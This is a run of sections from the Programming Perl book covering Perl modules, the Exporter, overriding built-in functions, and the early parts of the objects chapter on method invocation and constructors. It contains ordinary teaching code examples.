All Perl module files have the extension .pm. Both use and require assume this (as well as the quotes) so that you don't have to spell out "MODULE.pm". Using the bare identifier helps to differentiate new modules from .pl and .ph libraries used in old versions of Perl. It also introduces MODULE as an official module name, which helps the parser in certain ambiguous situations. Any double colons in the module name are translated into your system's directory separator, so if your module is named Red::Blue::Green, Perl might look for it as Red/Blue/Green.pm.

Perl will search for modules in each of the directories listed in the @INC array. Since use loads modules at compile time, any modifications to @INC need to occur at compile time as well. You can do this with the lib pragma described in Chapter 31, "Pragmatic Modules" or with a BEGIN block. Once a module is included, a key/value pair will be added to the %INC hash. The key will be the module filename (Red/Blue/Green.pm in our example) and the value will be the full pathname, which might be something like C:/perl/site/lib/Red/Blue/Green.pm for a properly installed module on a Windows system.

Module names should be capitalized unless they're functioning as pragmas. Pragmas are in effect compiler directives (hints for the compiler), so we reserve the lowercase pragma names for future use.

When you use a module, any code inside the module is executed, just as it would be for an ordinary require. If you really don't care whether the module is pulled in at compile time or run time, you can just say:

require MODULE;
In general, however, use is preferred over require because it looks for modules during compilation, so you learn about any mistakes sooner.

These two statements do almost the same thing:

require MODULE;
require "MODULE.pm";
They differ in two ways, however. In the first statement, require translates any double colons in the module name into your system's directory separator, just as use does. The second case does no translation, forcing you to specify the pathname of your module literally, which is less portable. The other difference is that the first require tells the compiler that the expressions with indirect object notation involving "MODULE" (such as $ob = purge MODULE) are method calls, not function calls. (Yes, this really can make a difference, if there's a conflicting definition of purge in your own module.)

Because the use declaration and the related no declaration imply a BEGIN block, the compiler loads the module (and runs any executable initialization code in it) as soon as it encounters that declaration, before it compiles the rest of the file. This is how pragmas can change the compiler's behavior, and also how modules are able to declare subroutines that are then visible as list operators for the remainder of compilation. This will not work if you use require instead of use. Just about the only reason to use require is if you have two modules that each need a function from the other. (And we're not sure that's a good reason.)

Perl modules always load a .pm file, but that file may in turn load associated files, such as dynamically linked C or C++ libraries or autoloaded Perl subroutine definitions. If so, the additional shenanigans will be entirely transparent to the module user. It is the responsibility of the .pm file to load (or arrange to autoload) any additional functionality. The POSIX module happens to perform both dynamic loading and autoloading, but the user can say just:

use POSIX;
to get all the exported functions and variables.

Previous | Home | Next
10.2. Autoloading | Book Index | 11.2. Creating Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating Modules (Programming Perl)

 Book Home Programming PerlSearch this book

11.2. Creating Modules

Earlier, we said that there are two ways for a module to make its interface available to your program: by exporting symbols or by allowing method calls. We'll show you an example of the first style here; the second style is for object-oriented modules and is described in the next chapter. (Object-oriented modules should export nothing, since the whole idea of methods is that Perl finds them for you automatically, based on the type of the object.)

To construct a module called Bestiary, create a file called Bestiary.pm that looks like this:

package      Bestiary;
require      Exporter;

our @ISA       = qw(Exporter);
our @EXPORT    = qw(camel);    # Symbols to be exported by default
our @EXPORT_OK = qw($weight);  # Symbols to be exported on request
our $VERSION   = 1.00;         # Version number

### Include your variables and functions here

sub camel { print "One-hump dromedary" }

$weight = 1024;

1;
A program can now say use Bestiary to be able to access the camel function (but not the $weight variable), and use Bestiary qw(camel $weight) to access both the function and the variable.

You can also create modules that dynamically load code written in C. See Chapter 21, "Internals and Externals", for details.

11.2.1. Module Privacy and the Exporter

Perl does not automatically patrol private/public borders within its modules--unlike languages such as C++, Java, and Ada, Perl isn't obsessed with enforced privacy. A Perl module would prefer that you stay out of its living room because you weren't invited, not because it has a shotgun.

The module and its user have a contract, part of which is common law and part of which is written. Part of the common law contract is that a module refrain from changing any namespace it wasn't asked to change. The written contract for the module (that is, the documentation) may make other provisions. But then, having read the contract, you presumably know that when you say use RedefineTheWorld you're redefining the world, and you're willing to risk the consequences. The most common way to redefine worlds is to use the Exporter module. As we'll see later in the chapter, you can even redefine built-ins with this module.

When you use a module, the module typically makes some variables or functions available to your program, or more specifically, to your program's current package. This act of exporting symbols from the module (and thus importing them into your program) is sometimes called polluting your namespace. Most modules use Exporter to do this; that's why most modules say something like this near the top:

require Exporter;
our @ISA = ("Exporter");
These two lines make the module inherit from the Exporter class. Inheritance is described in the next chapter, but all you need to know is our Bestiary module can now export symbols into other packages with lines like these:
our @EXPORT    = qw($camel %wolf ram);              # Export by default
our @EXPORT_OK = qw(leopard @llama $emu);           # Export by request
our %EXPORT_TAGS = (                                # Export as group
                     camelids => [qw($camel @llama)],
                     critters => [qw(ram $camel %wolf)],
                   );

From the viewpoint of the exporting module, the @EXPORT array contains the names of variables and functions to be exported by default: what your program gets when it says use Bestiary. Variables and functions in @EXPORT_OK are exported only when the program specifically requests them in the use statement. Finally, the key/value pairs in %EXPORT_TAGS allow the program to include particular groups of the symbols listed in @EXPORT and @EXPORT_OK.

From the viewpoint of the importing package, the use statement specifies a list of symbols to import, a group named in %EXPORT_TAGS, a pattern of symbols, or nothing at all, in which case the symbols in @EXPORT would be imported from the module into your program.

You can include any of these statements to import symbols from the Bestiary module:

use Bestiary;                    # Import @EXPORT symbols
use Bestiary ();                 # Import nothing
use Bestiary qw(ram @llama);     # Import the ram function and @llama array
use Bestiary qw(:camelids);      # Import $camel and @llama
use Bestiary qw(:DEFAULT);       # Import @EXPORT symbols
use Bestiary qw(/am/);           # Import $camel, @llama, and ram
use Bestiary qw(/^\$/);          # Import all scalars
use Bestiary qw(:critters !ram); # Import the critters, but exclude ram
use Bestiary qw(:critters !:camelids);
                                 # Import critters, but no camelids
Leaving a symbol off the export lists (or removing it explicitly from the import list with the exclamation point) does not render it inaccessible to the program using the module. The program will always be able to access the contents of the module's package by fully qualifying the package name, like %Bestiary::gecko. (Since lexical variables do not belong to packages, privacy is still possible: see "Private Methods" in the next chapter.)

You can say BEGIN { $Exporter::Verbose=1 } to see how the specifications are being processed and what is actually being imported into your package.

The Exporter is itself a Perl module, and if you're curious you can see the typeglob trickery it uses to export symbols from one package into another. Inside the Export module, the key function is named import, which performs the necessary aliasing to make a symbol in one package appear to be in another. In fact, a use Bestiary LIST statement is exactly equivalent to:

BEGIN {
    require Bestiary;
    import Bestiary LIST;
}
This means that your modules don't have to use the Exporter. A module can do anything it jolly well pleases when it's used, since use just calls the ordinary import method for the module, and you can define that method to do anything you like.

11.2.1.1. Exporting without using Exporter's import method

The Exporter defines a method called export_to_level, used for situations where (for some reason) you can't directly call Exporter's import method. The export_to_level method is invoked like this:

MODULE->export_to_level($where_to_export, @what_to_export);
where $where_to_export is an integer indicating how far up the calling stack to export your symbols, and @what_to_export is an array listing the symbols to export (usually @_).

For example, suppose our Bestiary had an import function of its own:

package Bestiary;
@ISA = qw(Exporter);
@EXPORT_OK = qw ($zoo);

sub import {
    $Bestiary::zoo = "menagerie";
}
The presence of this import function prevents Exporter's import function from being inherited. If you want Bestiary's import function to behave just like Exporter's import function once it sets $Bestiary::zoo, you'd define it as follows:
sub import {
    $Bestiary::zoo = "menagerie";
    Bestiary->export_to_level(1, @_);
}
This exports symbols to the package one level "above" the current package. That is, to whatever program or module is using the Bestiary.

11.2.1.2. Version checking

If your module defines a $VERSION variable, a program using your module can ensure that the module is sufficiently recent. For example:

use Bestiary 3.14;   # The Bestiary must be version 3.14 or later
use Bestiary v1.0.4; # The Bestiary must be version 1.0.4 or later
These are converted into calls to Bestiary->require_version, which your module then inherits.

11.2.1.3. Managing unknown symbols

In some situations, you may want to prevent certain symbols from being exported. Typically, this applies to modules that have functions or constants that might not make sense on some systems. You can prevent the Exporter from exporting those symbols by placing them in the @EXPORT_FAIL array.

If a program attempts to import any of these symbols, the Exporter gives the module an opportunity to handle the situation before generating an error. It does this by calling an export_fail method with a list of the failed symbols, which you might define as follows (assuming your module uses the Carp module):

sub export_fail {
    my $class = shift;
    carp "Sorry, these symbols are unavailable: @_";
    return @_;
}
The Exporter provides a default export_fail method, which simply returns the list unchanged and makes the use fail with an exception raised for each symbol. If export_fail returns an empty list, no error is recorded and all the requested symbols are exported.

11.2.1.4. Tag-handling utility functions

Since the symbols listed within %EXPORT_TAGS must also appear in either @EXPORT or @EXPORT_OK, the Exporter provides two functions to let you add those tagged sets of symbols:

%EXPORT_TAGS = (foo => [qw(aa bb cc)], bar => [qw(aa cc dd)]);

Exporter::export_tags('foo');     # add aa, bb and cc to @EXPORT
Exporter::export_ok_tags('bar');  # add aa, cc and dd to @EXPORT_OK
Specifying names that are not tags is erroneous.

Previous | Home | Next
11.1. Using Modules | Book Index | 11.3. Overriding Built-in Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overriding Built-in Functions (Programming Perl)

 Book Home Programming PerlSearch this book

11.3. Overriding Built-in Functions

Many built-in functions may be overridden, although (like knocking holes in your walls) you should do this only occasionally and for good reason. Typically, this might be done by a package attempting to emulate missing built-in functionality on a non-Unix system. (Do not confuse overriding with overloading, which adds additional object-oriented meanings to built-in operators, but doesn't override much of anything. See the discussion of the overload module in Chapter 13, "Overloading" for more on that.)

Overriding may be done only by importing the name from a module--ordinary predeclaration isn't good enough. To be perfectly forthcoming, it's the assignment of a code reference to a typeglob that triggers the override, as in *open = \&myopen. Furthermore, the assignment must occur in some other package; this makes accidental overriding through typeglob aliasing intentionally difficult. However, if you really want to do your own overriding, don't despair, because the subs pragma lets you predeclare subroutines via the import syntax, so those names then override the built-in ones:

use subs qw(chdir chroot chmod chown);
chdir $somewhere;
sub chdir { ... }
In general, modules should not export built-in names like open or chdir as part of their default @EXPORT list, since these names may sneak into someone else's namespace and change the semantics unexpectedly. If the module includes the name in the @EXPORT_OK list instead, importers will be forced to explicitly request that the built-in name be overridden, thus keeping everyone honest.

The original versions of the built-in functions are always accessible via the CORE pseudopackage. Therefore, CORE::chdir will always be the version originally compiled into Perl, even if the chdir keyword has been overridden.

Well, almost always. The foregoing mechanism for overriding built-in functions is restricted, quite deliberately, to the package that requests the import. But there is a more sweeping mechanism you can use when you wish to override a built-in function everywhere, without regard to namespace boundaries. This is achieved by defining the function in the CORE::GLOBAL pseudopackage. Below is an example that replaces the glob operator with something that understands regular expressions. (Note that this example does not implement everything needed to cleanly override Perl's built-in glob, which behaves differently depending on whether it appears in a scalar or list context. Indeed, many Perl built-ins have such context-sensitive behaviors, and any properly written override should adequately support these. For a fully functional example of glob overriding, study the File::Glob module bundled with Perl.) Anyway, here's the antisocial version:

*CORE::GLOBAL::glob = sub {
    my $pat = shift;
    my @got;
    local *D;
    if (opendir D, '.') {
        @got = grep /$pat/, readdir D;
        closedir D;
    }
    return @got;
}

package Whatever;

print <^[a-z_]+\.pm\$>;       # show all pragmas in the current directory
By overriding glob globally, this preemptively forces a new (and subversive) behavior for the glob operator in every namespace, without the cognizance or cooperation of modules that own those namespaces. Naturally, this must be done with extreme caution--if it must be done at all. And it probably mustn't.

Our overriding philosophy is: it's nice to be important, but it's more important to be nice.

Previous | Home | Next
11.2. Creating Modules | Book Index | 12. Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Objects (Programming Perl)

 Programming PerlSearch this book

Chapter 12. Objects

Contents:

Brief Refresher on Object-Oriented Lingo
Perl's Object System
Method Invocation
Object Construction
Class Inheritance
Instance Destructors
Managing Instance Data
Managing Class Data
Summary

First of all, you need to understand packages and modules; see Chapter 10, "Packages", and Chapter 11, "Modules". You also need to know about references and data structures; see Chapter 8, "References" and Chapter 9, "Data Structures". It's also helpful to understand a little about object-oriented programming (OOP), so in the next section we'll give you a little course on OOL (object-oriented lingo).

12.1. Brief Refresher on Object-Oriented Lingo

An object is a data structure with a collection of behaviors. We generally speak of the behaviors as acted out by the object directly, sometimes to the point of anthropomorphizing the object. For example, we might say that a rectangle "knows" how to display itself on the screen, or that it "knows" how to compute its own area.

Every object gets its behaviors by virtue of being an instance of a class. The class defines methods: behaviors that apply to the class and its instances. When the distinction matters, we refer to methods that apply only to a particular object as instance methods and those that apply to the entire class as class methods. But this is only a convention--to Perl, a method is just a method, distinguished only by the type of its first argument.

You can think of an instance method as some action performed by a particular object, such as printing itself out, copying itself, or altering one or more of its properties ("set this sword's name to Anduril"). Class methods might perform operations on many objects collectively ("display all swords") or provide other operations that aren't dependent on any particular object ("from now on, whenever a new sword is forged, register its owner in this database"). Methods that generate instances (objects) of a class are called constructor methods ("create a sword with a gem-studded hilt and a secret inscription"). These are usually class methods ("make me a new sword") but can also be instance methods ("make a copy just like this sword here").

A class may inherit methods from parent classes, also known as base classes or superclasses. If it does, it's known as a derived class or a subclass. (Confusing the issue further, some literature uses "base class" to mean a "most super" superclass. That's not what we mean by it.) Inheritance makes a new class that behaves just like an existing one but also allows for altered or added behaviors not found in its parents. When you invoke a method whose definition is not found in the class, Perl automatically consults the parent classes for a definition. For example, a sword class might inherit its attack method from a generic blade class. Parents can themselves have parents, and Perl will search those classes as well when it needs to. The blade class might in turn inherit its attack method from an even more generic weapon class.

When the attack method is invoked on an object, the resulting behavior may depend on whether that object is a sword or an arrow. Perhaps there wouldn't be any difference at all, which would be the case if both swords and arrows inherited their attacking behavior from the generic weapon class. But if there were a difference in behaviors, the method dispatch mechanism would always select the attack method suitable for the object in question. The useful property of always selecting the most appropriate behavior for a particular type of object is known as polymorphism. It's an important form of not caring.

You have to care about the innards of your objects when you're implementing a class, but when you use a class, you should be thinking of its objects as black boxes. You can't see what's inside, you shouldn't need to know how it works, and you interact with the box only on its terms: via the methods provided by the class. Even if you know what those methods do to the object, you should resist the urge to fiddle around yourself. It's like the remote control for your television set: even if you know what's going on inside it, you shouldn't monkey with its innards without good reason.

Perl lets you peer inside the object from outside the class when you need to. But doing so breaks its encapsulation, the principle that all access to an object should be through methods alone. Encapsulation decouples the published interface (how an object should be used) from the implementation (how it actually works). Perl does not have an explicit interface facility apart from this unwritten contract between designer and user. Both parties are expected to exercise common sense and common decency: the user by relying only upon the documented interface, the designer by not breaking that interface.

Perl doesn't force a particular style of programming on you, and it doesn't have the obsession with privacy that some other object-oriented languages do. Perl does have an obsession with freedom, however, and one of the freedoms you have as a Perl programmer is the right to select as much or as little privacy as you like. In fact, Perl can have stronger privacy in its classes and objects than C++. That is, Perl does not restrict you from anything, and in particular it doesn't restrict you from restricting yourself, if you're into that kind of thing. The sections Section 12.5.5, "Private Methods" and Section 12.7.5, "Using Closures for Private Objects" later in this chapter demonstrate how you can increase your dosage of discipline.

Admittedly, there's a lot more to objects than this, and a lot of ways to find out more about object-oriented design. But that's not our purpose here. So, on we go.

Previous | Home | Next
11.3. Overriding Built-in Functions | Book Index | 12.2. Perl's Object System
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl's Object System (Programming Perl)

 Programming PerlSearch this book

12.2. Perl's Object System

Perl doesn't provide any special syntax for defining objects, classes, or methods. Instead, it reuses existing constructs to implement these three concepts.[1]

[1]Now there's an example of software reuse for you!

Here are some simple definitions that you may find reassuring:

An object is simply a reference...er, a referent.

Since references let individual scalars represent larger collections of data, it shouldn't be a surprise that references are used for all objects. Technically, an object isn't the reference proper--it's really the referent that the reference points at. This distinction is frequently blurred by Perl programmers, however, and since we feel it's a lovely metonymy, we will perpetuate the usage here when it suits us.[2]

[2] We prefer linguistic vigor over mathematical rigor. Either you will agree or you won't.

A class is simply a package.

A package serves as a class by using the package's subroutines to execute the class's methods, and by using the package's variables to hold the class's global data. Often, a module is used to hold one or more classes.

A method is simply a subroutine.

You just declare subroutines in the package you're using as the class; these will then be used as the class's methods. Method invocation, a new way to call subroutines, passes an extra argument: the object or package used for invoking the method.

Previous | Home | Next
12.1. Brief Refresher on Object-Oriented Lingo | Book Index | 12.3. Method Invocation
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Method Invocation (Programming Perl)

 Book Home Programming PerlSearch this book

12.3. Method Invocation

If you were to boil down all of object-oriented programming into one quintessential notion, it would be abstraction. It's the single underlying theme you'll find running through all those 10-dollar words that OO enthusiasts like to bandy about, like polymorphism and inheritance and encapsulation. We believe in those fancy words, but we'll address them from the practical viewpoint of what it means to invoke methods. Methods lie at the heart of the object system because they provide the abstraction layer needed to implement all these fancy terms. Instead of directly accessing a piece of data sitting in an object, you invoke an instance method. Instead of directly calling a subroutine in some package, you invoke a class method. By interposing this level of indirection between class use and class implementation, the program designer remains free to tinker with the internal workings of the class, with little risk of breaking programs that use it.

Perl supports two different syntactic forms for invoking methods. One uses a familiar style you've already seen elsewhere in Perl, and the second is a form you may recognize from other programming languages. No matter which form of method invocation is used, the subroutine constituting the method is always passed an extra initial argument. If a class is used to invoke the method, that argument will be the name of the class. If an object is used to invoke the method, that argument will be the reference to the object. Whichever it is, we'll call it the method's invocant. For a class method, the invocant is the name of a package. For an instance method, the invocant is a reference that specifies an object.

In other words, the invocant is whatever the method was invoked with. Some OO literature calls this the method's agent or its actor. Grammatically, the invocant is neither the subject of the action nor the receiver of that action. It's more like an indirect object, the beneficiary on whose behalf the action is performed--just like the word "me" in the command, "Forge me a sword!" Semantically, you can think of the invocant as either an invoker or an invokee, whichever fits better into your mental apparatus. We're not going to tell you how to think. (Well, not about that.)

Most methods are invoked explicitly, but methods may also be invoked implicitly when triggered by object destructors, overloaded operators, or tied variables. Properly speaking, these are not regular subroutine calls, but rather method invocations automatically triggered by Perl on behalf of an object. Destructors are described later in this chapter, overloading is described in Chapter 13, "Overloading", and ties are described in Chapter 14, "Tied Variables".

One difference between methods and regular subroutines is when their packages are resolved--that is, how early (or late) Perl decides which code should be executed for the method or subroutine. A subroutine's package is resolved during compilation, before your program begins to run.[3] In contrast, a method's package isn't resolved until it is actually invoked. (Prototypes are checked at compile time, which is why regular subroutines can use them but methods can't.)

[3] More precisely, the subroutine call is resolved down to a particular typeglob, a reference to which is stuffed into the compiled opcode tree. The meaning of that typeglob is negotiable even at run time--this is how AUTOLOAD can autoload a subroutine for you. Normally, however, the meaning of the typeglob is also resolved at compile time by the definition of an appropriately named subroutine.

The reason a method's package can't be resolved earlier is relatively straightforward: the package is determined by the class of the invocant, and the invocant isn't known until the method is actually invoked. At the heart of OO is this simple chain of logic: once the invocant is known, the invocant's class is known, and once the class is known, the class's inheritance is known, and once the class's inheritance is known, the actual subroutine to call is known.

The logic of abstraction comes at a price. Because of the late resolution of methods, an object-oriented solution in Perl is likely to run slower than the corresponding non-OO solution. For some of the fancier techniques described later, it could be a lot slower. However, many common problems are solved not by working faster, but by working smarter. That's where OO shines.

12.3.1. Method Invocation Using the Arrow Operator

We mentioned that there are two styles of method invocation. The first style for invoking a method looks like this:

INVOCANT->METHOD(LIST)
INVOCANT->METHOD

For obvious reasons, this style is usually called the arrow form of invocation. (Do not confuse -> with =>, the "double-barreled" arrow used as a fancy comma.) Parentheses are required if there are any arguments. When executed, the invocation first locates the subroutine determined jointly by the class of the INVOCANT and the METHOD name, and then calls that subroutine, passing INVOCANT as its first argument.

When INVOCANT is a reference, we say that METHOD is invoked as an instance method, and when INVOCANT is a package name, we say that METHOD is invoked as a class method. There really is no difference between the two, other than that the package name is more obviously associated with the class itself than with the objects of the class. You'll have to take our word for it that the objects also know their class. We'll tell you in a bit how to associate an object with a class name, but you can use objects without knowing that.

For example, to construct an object using the class method summon and then invoke the instance method speak on the resulting object, you might say this:

$mage = Wizard->summon("Gandalf");  # class method
$mage->speak("friend");             # instance method
The summon and speak methods are defined by the Wizard class--or one of the classes from which it inherits. But you shouldn't worry about that. Do not meddle in the affairs of Wizards.

Since the arrow operator is left associative (see Chapter 3, "Unary and Binary Operators"), you can even combine the two statements into one:

Wizard->summon("Gandalf")->speak("friend");
Sometimes you want to invoke a method without knowing its name ahead of time. You can use the arrow form of method invocation and replace the method name with a simple scalar variable:
$method = "summon";
$mage = Wizard->$method("Gandalf");  # Invoke Wizard->summon

$travel = $companion eq "Shadowfax" ? "ride" : "walk";
$mage->$travel("seven leagues");     # Invoke $mage->ride or $mage->walk
Although you're using the name of the method to invoke it indirectly, this usage is not forbidden by use strict 'refs', since all method calls are in fact looked up symbolically at the time they're resolved.

In our example, we stored the name of a subroutine in $travel, but you could also store a subroutine reference. This bypasses the method lookup algorithm, but sometimes that's exactly what you want to do. See both the section Section 12.5.5, "Private Methods" and the discussion of the can method in the section Section 12.5.3, "UNIVERSAL: The Ultimate Ancestor Class". To create a reference to a particular method being called on a particular instance, see the section Section 12.3.7, "Closures" in Chapter 8, "References".

12.3.2. Method Invocation Using Indirect Objects

The second style of method invocation looks like this:

METHOD INVOCANT (LIST)
METHOD INVOCANT LIST
METHOD INVOCANT

The parentheses around LIST are optional; if omitted, the method acts as a list operator. So you can have statements like the following, all of which use this style of method call:

$mage = summon Wizard "Gandalf";
$nemesis = summon Balrog home => "Moria", weapon => "whip";
move $nemesis "bridge";
speak $mage "You cannot pass";
break $staff;               # safer to use: break $staff ();
The list operator syntax should be familiar to you; it's the same style used for passing filehandles to print or printf:
print STDERR "help!!!\n";
It's also similar to English sentences like "Give Gollum the Preciousss", so we call it the indirect object form. The invocant is expected in the indirect object slot. When you read about passing a built-in function like system or exec something in its "indirect object slot", this means that you're supplying this extra, comma-less argument in the same place you would when you invoke a method using the indirect object syntax.

The indirect object form even permits you to specify the INVOCANT as a BLOCK that evaluates to an object (reference) or class (package). This lets you combine those two invocations into one statement this way:

speak { summon Wizard "Gandalf" } "friend";

12.3.3. Syntactic Snafus with Indirect Objects

One syntax will often be more readable than the other. The indirect object syntax is less cluttered, but suffers from several forms of syntactic ambiguity. The first is that the LIST part of an indirect object invocation is parsed the same as any other list operator. Thus, the parentheses of:

enchant $sword ($pips + 2) * $cost;
are assumed to surround all the arguments, regardless of what comes afterward. It would therefore be be equivalent to this:
($sword->enchant($pips + 2)) * $cost;
That's unlikely to do what you want: enchant is only being called with $pips + 2, and the method's return value is then multiplied by $cost. As with other list operators, you must also be careful of the precedence of && and || versus and and or.

For example, this:

name $sword $oldname || "Glamdring";   # can't use "or" here!
becomes the intended:
$sword->name($oldname || "Glamdring");
but this:
speak $mage "friend" && enter();        # should've been "and" here!
becomes the dubious:
$mage->speak("friend" && enter());
which could be fixed by rewriting into one of these equivalent forms:
enter() if $mage->speak("friend");
$mage->speak("friend") && enter();
speak $mage "friend" and enter();
The second syntactic infelicity of the indirect object form is that its INVOCANT is limited to a name, an unsubscripted scalar variable, or a block.[4] As soon as the parser sees one of these, it has its INVOCANT, so it starts looking for its LIST. So these invocations:
move $party->{LEADER};               # probably wrong!
move $riders[$i];                    # probably wrong!
actually parse as these:
$party->move->{LEADER};
$riders->move([$i]);
rather than what you probably wanted:
$party->{LEADER}->move;
$riders[$i]->move;
The parser only looks a little ways ahead to find the invocant for an indirect object, not even as far as it would look for a unary operator. This oddity does not arise with the first notation, so you might wish to stick with the arrow as your weapon of choice.

[4] Attentive readers will recall that this is precisely the same list of syntactic items that are allowed after a funny character to indicate a variable dereference--for example, @ary, @$aryref, or @{$aryref}.

Even English has a similar issue here. Think about the command, "Throw your cat out the window a toy mouse to play with." If you parse that sentence too quickly, you'll end up throwing the cat, not the mouse (unless you notice that the cat is already out the window). Like Perl, English has two different syntaxes for expressing the agent: "Throw your cat the mouse" and "Throw the mouse to your cat." Sometimes the longer form is clearer and more natural, and sometimes the shorter one is. At least in Perl, you're required to use braces around any complicated indirect object.

12.3.4. Package-Quoted Classes

The final syntactic ambiguity with the indirect object style of method invocation is that it may not be parsed as a method call at all, because the current package may have a subroutine of the same name as the method. When using a class method with a literal package name as the invocant, there is a way to resolve this ambiguity while still keeping the indirect object syntax: package-quote the classname by appending a double colon to it.

$obj = method CLASS::;   # forced to be "CLASS"->method
This is important because the commonly seen notation:
$obj = new CLASS;        # might not parse as method
will not always behave properly if the current package has a subroutine named new or CLASS. Even if you studiously use the arrow form instead of the indirect object form to invoke methods, this can, on rare occasion, still be a problem. At the cost of extra punctuation noise, the CLASS:: notation guarantees how Perl will parse your method invocation. The first two examples below do not always parse the same way, but the second two do:
$obj = new ElvenRing;               # could be new("ElvenRing")
                                    # or even new(ElvenRing())
$obj = ElvenRing->new;              # could be ElvenRing()->new()

$obj = new ElvenRing::;             # always "ElvenRing"->new()
$obj = ElvenRing::->new;            # always "ElvenRing"->new()
This package-quoting notation can be made prettier with some creative alignment:
$obj = new ElvenRing::
            name    => "Narya",
            owner   => "Gandalf",
            domain  => "fire",
            stone   => "ruby";
Still, you may say, "Oh, ugh!" at that double colon, so we'll tell you that you can almost always get away with a bare class name, provided two things are true. First, there is no subroutine of the same name as the class. (If you follow the convention that subroutine names like new start lowercase and class names like ElvenRing start uppercase, this is never a problem.) Second, the class has been loaded with one of:
use ElvenRing;
require ElvenRing;
Either of these declarations ensures that Perl knows ElvenRing is a module name, which forces any bare name like new before the class name ElvenRing to be interpreted as a method call, even if you happen to have declared a new subroutine of your own in the current package. People don't generally get into trouble with indirect objects unless they start cramming multiple classes into the same file, in which case Perl might not know that a particular package name was supposed to be a class name. People who name subroutines with names that look like ModuleNames also come to grief eventually.

Previous | Home | Next
12.2. Perl's Object System | Book Index | 12.4. Object Construction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Object Construction (Programming Perl)

 Book Home Programming PerlSearch this book

12.4. Object Construction

All objects are references, but not all references are objects. A reference won't work as an object unless its referent is specially marked to tell Perl what package it belongs to. The act of marking a referent with a package name--and therefore, its class, since a class is just a package--is known as blessing. You can think of the blessing as turning a reference into an object, although it's more accurate to say that it turns the reference into an object reference.

The bless function takes either one or two arguments. The first argument is a reference and the second is the package to bless the referent into. If the second argument is omitted, the current package is used.

$obj = { };                 # Get reference to anonymous hash.
bless($obj);                # Bless hash into current package.
bless($obj, "Critter");     # Bless hash into class Critter.
Here we've used a reference to an anonymous hash, which is what people usually use as the data structure for their objects. Hashes are extremely flexible, after all. But allow us to emphasize that you can bless a reference to anything you can make a reference to in Perl, including scalars, arrays, subroutines, and typeglobs. You can even bless a reference to a package's symbol table hash if you can think of a good reason to. (Or even if you can't.) Object orientation in Perl is completely orthogonal to data structure.

Once the referent has been blessed, calling the built-in ref function on its reference returns the name of the blessed class instead of the built-in type, such as HASH. If you want the built-in type, use the reftype function from the attributes module. See use attributes in Chapter 31, "Pragmatic Modules".

And that's how to make an object. Just take a reference to something, give it a class by blessing it into a package, and you're done. That's all there is to it if you're designing a minimal class. If you're using a class, there's even less to it, because the author of a class will have hidden the bless inside a method called a constructor, which creates and returns instances of the class. Because bless returns its first argument, a typical constructor can be as simple as this:

package Critter;
sub spawn { bless {}; }
Or, spelled out slightly more explicitly:
package Critter;
sub spawn {
    my     $self = {};       # Reference to an empty anonymous hash
    bless  $self, "Critter"; # Make that hash a Critter object
    return $self;            # Return the freshly generated Critter
}
With that definition in hand, here's how one might create a Critter object:
$pet = Critter->spawn;

12.4.1. Inheritable Constructors

Like all methods, a constructor is just a subroutine, but we don't call it as a subroutine. We always invoke it as a method--a class method, in this particular case, because the invocant is a package name. Method invocations differ from regular subroutine calls in two ways. First, they get the extra argument we discussed earlier. Second, they obey inheritance, allowing one class to use another's methods.

We'll describe the underlying mechanics of inheritance more rigorously in the next section, but for now, some simple examples of its effects should help you design your constructors. For instance, suppose we have a Spider class that inherits methods from the Critter class. In particular, suppose the Spider class doesn't have its own spawn method. The following correspondences apply:

Method Call | Resulting Subroutine Call
Critter->spawn() | Critter::spawn("Critter")
Spider->spawn() | Critter::spawn("Spider")

The subroutine called is the same in both cases, but the argument differs. Note that our spawn constructor above completely ignored its argument, which means our Spider object was incorrectly blessed into class Critter. A better constructor would provide the package name (passed in as the first argument) to bless:

sub spawn {
    my $class =  shift;       # Store the package name
    my $self  =  { };
    bless($self, $class);     # Bless the reference into that package
    return $self;
}
Now you could use the same subroutine for both these cases:
$vermin = Critter->spawn;
$shelob = Spider->spawn;
And each object would be of the proper class. This even works indirectly, as in:
$type  = "Spider";
$shelob = $type->spawn;         # same as "Spider"->spawn
That's still a class method, not an instance method, because its invocant holds a string and not a reference.

If $type were an object instead of a class name, the previous constructor definition wouldn't have worked, because bless needs a class name. But for many classes, it makes sense to use an existing object as the template from which to create another. In these cases, you can design your constructors so that they work with either objects or class names:

sub spawn {
    my $invocant = shift;
    my $class    = ref($invocant) || $invocant;  # Object or class name
    my $self     = { };
    bless($self, $class);
    return $self;
}

12.4.2. Initializers

Most objects maintain internal information that is indirectly manipulated by the object's methods. All our constructors so far have created empty hashes, but there's no reason to leave them empty. For instance, we could have the constructor accept extra arguments to store into the hash as key/value pairs. The OO literature often refers to such data as properties, attributes, accessors, member data, instance data, or instance variables. The section "Instance Variables" later in this chapter discusses attributes in more detail.

Imagine a Horse class with instance attributes like "name" and "color":

$steed = Horse->new(name => "Shadowfax", color => "white");
If the object is implemented as a hash reference, the key/value pairs can be interpolated directly into the hash once the invocant is removed from the argument list:
sub new {
    my $invocant = shift;
    my $class = ref($invocant) || $invocant;
    my $self = { @_ };          # Remaining args become attributes
    bless($self, $class);       # Bestow objecthood
    return $self;
}
This time we used a method named new for the class's constructor, which just might lull C++ programmers into thinking they know what's going on. But Perl doesn't consider "new" to be anything special; you may name your constructors whatever you like. Any method that happens to create and return an object is a de facto constructor. In general, we recommend that you name your constructors whatever makes sense in the context of the problem you're solving. For example, constructors in the Tk module are named after the widgets they create. In the DBI module, a constructor named connect returns a database handle object, and another constructor named prepare is invoked as an instance method and returns a statement handle object. But if there is no suitable context-specific constructor name, new is perhaps not a terrible choice. Then again, maybe it's not such a bad thing to pick a random name to force people to read the interface contract (meaning the class documentation) before they use its constructors.

Elaborating further, you can set up your constructor with default key/value pairs, which the user could later override by supplying them as arguments:

sub new {
    my $invocant = shift;
    my $class   = ref($invocant) || $invocant;
    my $self = {
        color  => "bay",
        legs   => 4,
        owner  => undef,
        @_,                 # Override previous attributes
    };
    return bless $self, $class;
}

$ed       = Horse->new;                    # A 4-legged bay horse
$stallion = Horse->new(color => "black");  # A 4-legged black horse
